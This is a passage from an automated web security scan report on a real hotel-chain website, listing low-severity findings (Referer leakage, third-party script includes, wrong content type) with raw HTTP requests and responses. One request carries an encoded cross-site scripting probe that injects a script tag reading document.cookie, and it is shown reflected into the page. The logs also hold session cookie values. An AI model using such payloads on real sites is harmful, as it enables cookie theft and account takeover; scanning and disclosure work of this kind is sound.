<table border="0" cellpadding="0" cellspacing="0" width="100%">
   <form action="https://secure.ichotelsgroup.com/h/d/6c/1/en/loginm?secure=true" method="POST" onsubmit="return validateAndSubmitLogin(this);">
       
           
                                                                    <input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455">
...[SNIP]...
<td class="login10" style="background-color: #285994" height="21" valign="top" align="left" nowrap><input name="password" id="pclubpin" size="2" maxlength="4" type="password" class="f10" tabindex="2"></td>
...[SNIP]...

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150 HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:33:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=D0B6EB78049C10040007FFBB86A5CD22; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=D0B6EB78049C10040007FFBB86A5CD22; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:33:58 GMT
Set-Cookie: JSESSIONID=KVTF01DKVYPKECTGWA2SJBQKM0YBCIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:33:58 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88316


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<meta name="google-site-verification" content="s8vDOSXDBudjfF_vqzcxDcPu1XwJEp3Ovizb1rttKuc" />

   
                           <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
<center><a href="http://www.ihg.com"><img align="center" border="0" src="http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.LogoPar.Single.LogoImage.gif" alt="InterContinental Hotels Group">
...[SNIP]...
<td><a onClick="this.href = addJSessionidToURL(this.href);" href="http://www.ihg.com/corporate" onMouseOut="topnav11.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.1.0xffffffff.0xffff6b2b.TopNavTopRow.gif';" onmouseout="topnav11.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.1.0xffffffff.0xffff6b2b.TopNavTopRow.gif';" onmouseover="topnav11.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.1.0xffffffff.0xffc26841.TopNavTopRow.gif';" onMouseOver="topnav11.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.1.0xffffffff.0xffc26841.TopNavTopRow.gif';"><img border="0" src="http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.1.0xffffffff.0xffff6b2b.TopNavTopRow.gif" alt="Corporate Information" name="topnav11">
...[SNIP]...
<td><a onClick="this.href = addJSessionidToURL(this.href);" href="http://www.ihgagent.com" onMouseOut="topnav14.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.4.0xffffffff.0xffff6b2b.TopNavTopRow.gif';" onmouseout="topnav14.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.4.0xffffffff.0xffff6b2b.TopNavTopRow.gif';" onmouseover="topnav14.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.4.0xffffffff.0xffc26841.TopNavTopRow.gif';" onMouseOver="topnav14.src = 'http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.4.0xffffffff.0xffc26841.TopNavTopRow.gif';"><img border="0" src="http://images3.ichotelsgroup.com/cq/content/dec/6c/1/en.4.0xffffffff.0xffff6b2b.TopNavTopRow.gif" alt="Travel Agents" name="topnav14">
...[SNIP]...
<td valign="top"><a href="http://www.rebatetrack.com/ihg" target="_blank" class="popupblank"><img width="108" height="32" border="0" src="http://images3.ichotelsgroup.com/cq/content/dec/teaser/6c/1/en/lp/freebag.ContentPar.0016.Image.gif" alt="Redeem Now">
...[SNIP]...
<br>to <A CLASS=anchor HREF="http://www.IHG.com/CheckItFree" TITLE="IHG.com/CheckItFree"><B>
...[SNIP]...
</span><A CLASS=anchor HREF="http://www.ihg.com/checkitfree" TITLE="www.ihg.com/checkitfree">www.ihg.com/checkitfree</A>
...[SNIP]...
<font class="f11"><A CLASS=anchor HREF="http://www.ihg.com/pressoffice" TITLE="Press Office">Press Office</A> | <A CLASS=anchor HREF="http://www.ihg.com/careers" TITLE="Careers at IHG">Careers</A>
...[SNIP]...
<br><A CLASS=anchor HREF="http://www.ihg.com/development" TITLE="Hotel Development">Hotel Development</A> | <A CLASS=anchor HREF="http://www.ihg.com/corporate" TITLE="ICHG Corporate Information">Corporate Information</A>
...[SNIP]...
</A> | <a class=popup href="http://www.ihg.com/partnerconnect" TITLE="Affiliate Program" target='_blank'>Affiliate Program</a> | <A CLASS=anchor HREF="http://www.ihg.com/partnerconnect" TITLE="PartnerConnect">PartnerConnect</A> | <A CLASS=anchor HREF="http://www.stopscads.org/" TITLE="AABC">AABC</A> | <A CLASS=anchor HREF="http://www.ihgbusinesssource.com/" TITLE="Business Source">Business Source</A>
...[SNIP]...
</A><A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-kingdom/London-hotels" TITLE="London Hotels">London Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/new-york/New-York-City-hotels" TITLE="New York Hotels">New York Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/france/Paris-hotels" TITLE="Paris Hotels">Paris Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/district-of-columbia/Washington-hotels" TITLE="Washington DC Hotels">Washington DC Hotels </A>| <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/florida/Orlando-hotels" TITLE="Orlando Hotels">Orlando Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/california/San-Francisco-hotels" TITLE="San Francisco Hotels">San Francisco Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/illinois/Chicago-hotels" TITLE="Chicago Hotels">Chicago Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/united-states/california/San-Diego-hotels" TITLE="San Diego Hotels">San Diego Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/china/Hong-Kong-hotels" TITLE="Hong Kong Hotels">Hong Kong Hotels</A> | <A CLASS=anchor HREF="http://www.holidayinn.com/hotels/us/en/hd/canada/ontario/Toronto-hotels" TITLE="Toronto Hotels">Toronto Hotels</A>
...[SNIP]...
</A><A CLASS=anchor HREF="http://www.ihg.com" TITLE="InterContinental Hotels Group">IHG</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.intercontinental.com/" TITLE="InterContinental Hotels & Resorts">InterContinental</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.crowneplaza.com" TITLE="Crowne Plaza Hotels & Resorts">Crowne Plaza</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.hotelindigo.com" TITLE="Hotel Indigo">Hotel Indigo</A> | <A CLASS=anchor HREF="http://www.holidayinn.com" TITLE="Holiday Inn">Holiday Inn</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.hiexpress.com" TITLE="Holiday Inn Express">Holiday Inn Express</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.staybridge.com" TITLE="Staybridge Suites">Staybridge Suites</A> | <A CLASS=anchor class=leftNavGuides HREF="http://www.candlewoodsuites.com" TITLE="Candlewood Suites">Candlewood Suites</A>
...[SNIP]...
<br>Shanghai ICP Record Number <a class=popup href="http://www.miibeian.gov.cn/" TITLE="ICP Record Number" target='_blank'>09027645</a>
...[SNIP]...
<noscript>
                           <iframe src="http://fls.doubleclick.net/activityi;src=2463678;type=ihgse350;cat=ihgse964;u11=c;u10=NO;u1=6c;u3=en;u2=NA;u5=NA;u4=12-10-10;u7=anonymous;u6=NA;u9=NA;u8=NA;u18=582836;u19=582836;u20=582836;u21=582836;u22=582836;u23=582836;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:33:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:33:57 GMT
Set-Cookie: JSESSIONID=MBZWGDNEFJWSECTGWAISIIQKM0YBEIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:33:57 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88136


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<meta name="google-site-verification" content="s8vDOSXDBudjfF_vqzcxDcPu1XwJEp3Ovizb1rttKuc" />

   
                           <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d HTTP/1.1
Host: www.ichotelsgroup.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=02FAFF48049D10041EF2A91B5197FDF3; TLTUID=02FAFF48049D10041EF2A91B5197FDF3; JSESSIONID=Y42BI0IUFGJFCCTGWAISJBQKM0YBEIY4; __utmv=1.anonymous_6c_1_en; __utma=1.328385899.1292013511.1292013511.1292013511.1; __utmb=1; __utmc=1; __utmz=1.1292013511.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; mbox=session#1292013511294-63070#1292015372|check#true#1292013572; I5GS=0; cmRS=t3=1292013530934&pi=c%7C/content/dec/teaser/6c/1/en/lp/freebag

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:39:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:39:39 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:39:39 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88439


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<meta name="google-site-verification" content="s8vDOSXDBudjfF_vqzcxDcPu1XwJEp3Ovizb1rttKuc" />

   
                           <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

7. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.ichotelsgroup.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.ichotelsgroup.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=6C26EBA8049D1004000A90A396A24570; TLTUID=6C26EBA8049D1004000A90A396A24570; JSESSIONID=G3V3GNGBMMKR4CTGWANCHPQKM0YBWIY4

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
Content-Type: text/plain; charset=utf-8
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Last-Modified: Fri, 09 May 2008 23:45:44 GMT
ETag: "fa62-57e-4824e228"
Accept-Ranges: bytes
Content-Length: 1406
Expires: Fri, 10 Dec 2010 20:38:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:38:26 GMT
Connection: close

..............h.......(....... ........................................................................ @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...
...[SNIP]...

Report generated by XSS.CX at Fri Dec 10 14:46:27 CST 2010.